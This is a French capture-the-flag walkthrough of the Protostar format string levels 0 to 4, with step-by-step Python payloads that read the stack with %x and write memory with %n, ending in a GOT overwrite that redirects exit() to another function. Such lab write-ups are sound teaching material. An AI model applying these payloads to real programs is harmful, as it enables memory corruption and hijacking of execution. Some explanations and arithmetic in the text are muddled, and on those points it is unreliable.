Aujourd'hui on s'attaque à la série format string de la plateforme "Protostar".

La plateforme "Protostar" est disponible içi.

Setup

Pour jouer, c'est simple il suffit de télécharger le fichier ISO, de le lancer dans une VM linux standard et voilà.

Pour récupérer l'IP de notre machine, on va utiliser le compte root avec le mot de passe fourni içi.

Ensuite un simple ifconfig suffit

Afin de me faciliter la vie, et parce que je n'ai pas d'apétence particulière pour les claviers QWERTY, je vais utiliser le service SSH que propose cet VM.

Format string #0

Un peu de contexte est disponible içi.

L'idée de ce challenge c'est d'appliquer le principe du buffer overflow avec une format string.
En un mot comme en cent on va devoir remplir le buffer jusqu'a écraser la valeur de "target" et la remplacer par "0xdeadbeef". Toute la subtilité est d'y arriver en moins de 10 octets.

Pour remplir notre buffer de 64 octets on va utiliser la chose suivante:

%64d

Cette "format string" dit à printf d'écrire 64 digits dans le buffer.

Ensuite il suffit d'écrire "0xdeadbeef" dans un système "little endian"

\xef\xbe\xad\xde

Pour finir on combine les deux ensemble et on demande à python de l'écrire pour nous (parce qu'il faut savoir être feignant).

/opt/protostar/bin/format0 $(python -c "print '%64d\xef\xbe\xad\xde'")
Et voilà pour le premier challenge 

Format string #1

Un peu de contexte est disponible içi.

Dans ce challenge il faut modifier la valeur de "target" pour la changer d'un zero en autre chose.

Pour se faire, on va utiliser le formateur %n. Ce formateur permet d'écrire le nombre d'octet écrit avant lui à l'adresse qu'il pointe. C'est un peu complexe résumé comme ça.

Pour comprendre, prenons un exemple simple.
Si j'écris:

printf(%4d%x);

La fonction printf va écrire le chiffre 4 à une adresse pointé par '%x'. Pas très utile au premier abord, sauf si... sauf si on controle l'adresse pointée par '%x'.

Vous commencez à voir ou je veux en venir ?

Reprenons notre challenge, nous voulons écrire une valeur (différente de zéro) à l'adresse de "target".

On va commencer par determiner l'adresse de "target"

objdump -t format1
Target se situe a l'adresse "0x08049538"

Maintenant il faut controler les valeurs utiliser par printf. Quand printf affiche quelque chose, c'est qu'il l'a trouvé sur la pile, on va donc se servir de ça pour faire afficher à printf les valeurs qu'on va fournir en argument au programme.

Pour se faire j'ai développé une technique personnelle.
1- Aligner la pile
2- Surcharger le buffer et determiner l'élement utile
3-Finaliser l'exploitation

1- Aligner la pile

Notre objectif est de déterminer la quantité minimun de %x nécessaire pour afficher notre valeur passée en argument.

Pour ça on va utliser un petit script en python:

#!/usr/bin/python

payload=''
payload+='AAAA'
payload+='%x.'*130
payload+='%x.'
print payload

On va devoir jouer avec la ligne payload+='%x.'*130 pour afficher notre payload de AAAA sur 1 seul octet et le plus proche possible du dernier octet affiché.

Par exemple ici, avec un offset de 134 %x, on a bien aligné notre payload (en rouge) mais on n'est très loin de l'avoir mise le plus proche possible du dernier octet affiché (cf partie jaune)

L'idéale est d'obtenir au fil des incrémentation quelque chose comme ça:

Passons à l'étape 2

2- Surcharger le buffer et determiner l'élement utile

Maintenant on va essayer de remplir le buffer afin que la dernière valeur affichée soit une de celle que nous controllons. Pour ça on va modifier notre code pour ajouter plusieurs ligne de payload.

#!/usr/bin/python

payload=''
payload+='AAAA'
payload+='BBBB'
payload+='CCCC'
payload+='DDDD'
payload+='EEEE'
payload+='%x.'*126
payload+='%x.'
print payload

Le résultat obtenu nous permet en un clin d'oeil de determiner qu'elle valeur est utile (En l'occurence c'est la ligne 'BBBB' de notre payload).

3-Finaliser l'exploitation

Maintenant il ne reste plus qu'a remplacer cette ligne par l'adresse de notre target et le tour sera joué.

#!/usr/bin/python
import struct

target=0x08049638
payload=''

payload+='AAAA'
payload+=struct.pack("I", target)
payload+='CCCC'
payload+='DDDD'
payload+='EEEE'
payload+='%x.'*126
payload+='%n.'

Format string  #2

Un peu de contexte est disponible içi.

Dans ce challenge on doit encore une fois ré-écrire la valeur de target mais cette fois on ne peut pas se contenter d'y mettre n'importe quoi, il va falloir y écrire précisément la valeur 64.

Comme précédement, on va commencer par déterminer quelle quantité du formateur %x permet d'afficher le début de notre payload.

Sans plus de suspense la quantité de %x est 4.

#!/usr/bin/python

payload='AAAA'
payload+='%x.'*3
payload+='%x.'
print payload

Bien, maintenant il faut determiner l'adresse de target.

$ objdump -t format2
[...]
080496e4 g     O .bss   00000004              target
[...]

Et ensuite faire en sorte que l'on écrive dessus.

#!/usr/bin/python
import struct
target=0x080496e4

payload=struct.pack("I", target)
payload+='%x.'*3
payload+='%n.'
print payload
Et voila, on écrit bien sur la target, reste plus qu'a trouver comment écrire la valeur 64...

Comme on le sait, le formateur %n écrit le nombre d'octet avant lui. Ce qui veut dire qu'içi on a écrit 26 octets avant de l'atteindre.

Il existe un formateur qui à la particularité d'écire des octets, on va s'en servir afin d'écrire la valeur voulue dans target. Il s'agit du formateur %u.
Par exemple, pour écrire 2 octets de plus je vais utiliser ce format:

%2u

On va faire un peu de place dans notre code et remplacer un %x par ce nouveau formateur.

#!/bin/usr/python
import struct
payload=''

target=0x080496e4
payload+=struct.pack("I", target)
payload+='%x.'*2
payload+='%2u'
payload+='%n.'

print payload

Maitenant il ne reste plus qu'a incrémenter le nombre n de  %nu pour atteindre 64.

#!/bin/usr/python
import struct
payload=''

target=0x080496e4
payload+=struct.pack("I", target)
payload+='%x.'*2
payload+='%47u'
payload+='%n.'

print payload

Format string  #3

Un peu de contexte est disponible içi.

Un peu comme le challenge précédent nous allons devoir écrire une valeur précise dans target. La difficulté vient du fait que la taille du paramètre est limitée à 512 octets, on ne peut donc pas employer la même technique que précédement.

Comme d'habitude on va commencer par récupérer l'adresse de target.

objdump -t format3
[...]
080496f4 g     O .bss   00000004              target
[...]

Et déterminer la quantité de %x à fournir pour faire apparaitre notre payload.

#!/bin/usr/python
import struct
payload=''

payload+='AAAA'
payload+='%x.'*11
payload+='%x.'

print payload
Après quelques essais, on obtient le bon nombre de formateur pour afficher notre valeur d'entrée

Maitenant on peut modifier notre code pour écire à la bonne adresse

#!/bin/usr/python
import struct
payload=''

target=0x080496f4
payload+=struct.pack("I", target)

payload+='%x.'*11
payload+='%n.'

print payload

C'est là que les choses se complexifient.

Avec les formateurs de chaines on peut fournir plusieurs adresses les unes après les autres et fournir plusieurs paramètres %u pour écire l'octet de poids le plus faible de chaque adresse en séquence.
Ce sera plus clair avec un exemple:

#!/bin/usr/python
import struct
payload=''

target1=0x080496f4 #First Last Significant Byte
target2=0x080496f5 #Second LSB
target3=0x080496f6 #Third LSB
target4=0x080496f7 #Fourth LSB

payload+=struct.pack("I", target1)
payload+=struct.pack("I", target2)
payload+=struct.pack("I", target3)
payload+=struct.pack("I", target4)

payload+='%x.'*11

payload+='%n'
payload+='%n'
payload+='%n'
payload+='%n'

print payload
J'ai mis un peu de couleur histoire que ca soit plus clair

Comment controle-t-on la valeur écrite pour chaque octet de manière individuelle ?
On utilise la même technique qu'avant, celle avec le %nu.
On va placer un formateur %nu avant chaque formateur %n. Il va aussi falloir ajuster notre padding car chaque %nu pioche dans la pile. On va donc écire 0x01010101 avant chaque adresse de notre entrée.

#!/bin/usr/python
import struct
payload=''

target1=0x080496f4
target2=0x080496f5
target3=0x080496f6
target4=0x080496f7

padding=0x01010101

payload+=struct.pack("I", padding)
payload+=struct.pack("I", target1)

payload+=struct.pack("I", padding)
payload+=struct.pack("I", target2)

payload+=struct.pack("I", padding)
payload+=struct.pack("I", target3)

payload+=struct.pack("I", padding)
payload+=struct.pack("I", target4)

payload+='%x.'*11

payload+='%u'
payload+='%n'

payload+='%u'
payload+='%n'

payload+='%u'
payload+='%n'

payload+='%u'
payload+='%n'

print payload

La dernier étape est de déterminer le valeur n pour chaque paramètre %nu. Pour cela on va utiliser la fonction suivante:

def calculate(to_write, written):
    to_write += 0x100
    written %= 0x100
    padding = (to_write - written) % 0x100
    if padding < 10:
        padding += 0x100
    return padding

to_write est la valeur que l'on veut écrire à un "%n" particulier.
written est le nombre d'octet qui on été écrit par la format string.

Calculons la première valeur. Ce que l'on veut écrire c'est Ox44

La valeur de written est 0x68. Cette valeur est composé de la valeur que nous avons trouvé lorsque nous voulions montrer l'écriture à l'adresse de target et que nous avons obtenu 0x58585858, nous avons ajouter ensuite un padding d'une longeur total de 16 octet (ce sont les 4 padding de  0x10101010), 0x58 + 0x16 = 0x68.
On a donc le calcule suivant calculate(0x44, 0x68) = 220.
Pour les autres valeurs c'est assez simple, il suffit de reprendre le nombre d'octet écrit jusque là.

Maintenant il ne reste plus qu'a intégrer ces valeurs dans notre code python

#!/bin/usr/python
import struct
payload=''

target1=0x080496f4
target2=0x080496f5
target3=0x080496f6
target4=0x080496f7

padding=0x01010101

payload+=struct.pack("I", padding)
payload+=struct.pack("I", target1)

payload+=struct.pack("I", padding)
payload+=struct.pack("I", target2)

payload+=struct.pack("I", padding)
payload+=struct.pack("I", target3)

payload+=struct.pack("I", padding)
payload+=struct.pack("I", target4)

payload+='%x.'*11

payload+='%220u'
payload+='%n'

payload+='%17u'
payload+='%n'

payload+='%173u'
payload+='%n'

payload+='%255u'
payload+='%n'

print payload

Format string #4

Un peu de contexte est disponible içi.

Cette fois çi, il est question de rediriger l'exécution du program afin de le faire exécuter la fonction hello(). Pour cela nous allons reécrire l'adresse de la fonction dans la table globale des offeset (la GOT, Global Offset Table).

Trouvons l'adresse de exit() dans la table GOT.

objdump --dynamic-reloc --dynamic-syms format4
l'adresse de exit() est 0x08049724

L'idée maintenant c'est réécrire la valeur pointée par l'adresse de exit() par l'adresse de la fonction hello().

Pour ça il faut déterminer l'adresse de hello()

objdump -t fomat4

Maintenant on va exploiter notre format string comme auparavant.

#!/bin/usr/python
import struct
payload=''

payload+="AAAA"
payload+="%x."*4

print payload

Maitenant on vas écrire les 4 octets de exit().

#!/bin/usr/python
import struct
payload=''

target1=0x08049724
target2=0x08049725
target3=0x08049726
target4=0x08049727

payload+=struct.pack("I", target1)
payload+=struct.pack("I", target2)
payload+=struct.pack("I", target3)
payload+=struct.pack("I", target4)

payload+="%x."*3
payload+="%n%n%n%n"

print payload

Il faut ensuite déterminer la valeur des '4n'

#!/bin/usr/python
import struct
payload=''

target1=0x08049724
target2=0x08049725
target3=0x08049726
target4=0x08049727

padding=0x01010101

payload+=struct.pack("I", padding)
payload+=struct.pack("I", target1)

payload+=struct.pack("I", padding)
payload+=struct.pack("I", target2)

payload+=struct.pack("I", padding)
payload+=struct.pack("I", target3)

payload+=struct.pack("I", padding)
payload+=struct.pack("I", target4)

payload+="%x."*3
payload+="%126u%n"
payload+="%208u%n"
payload+="%128u%n"
payload+="%260u%n"

print payload
Et voila !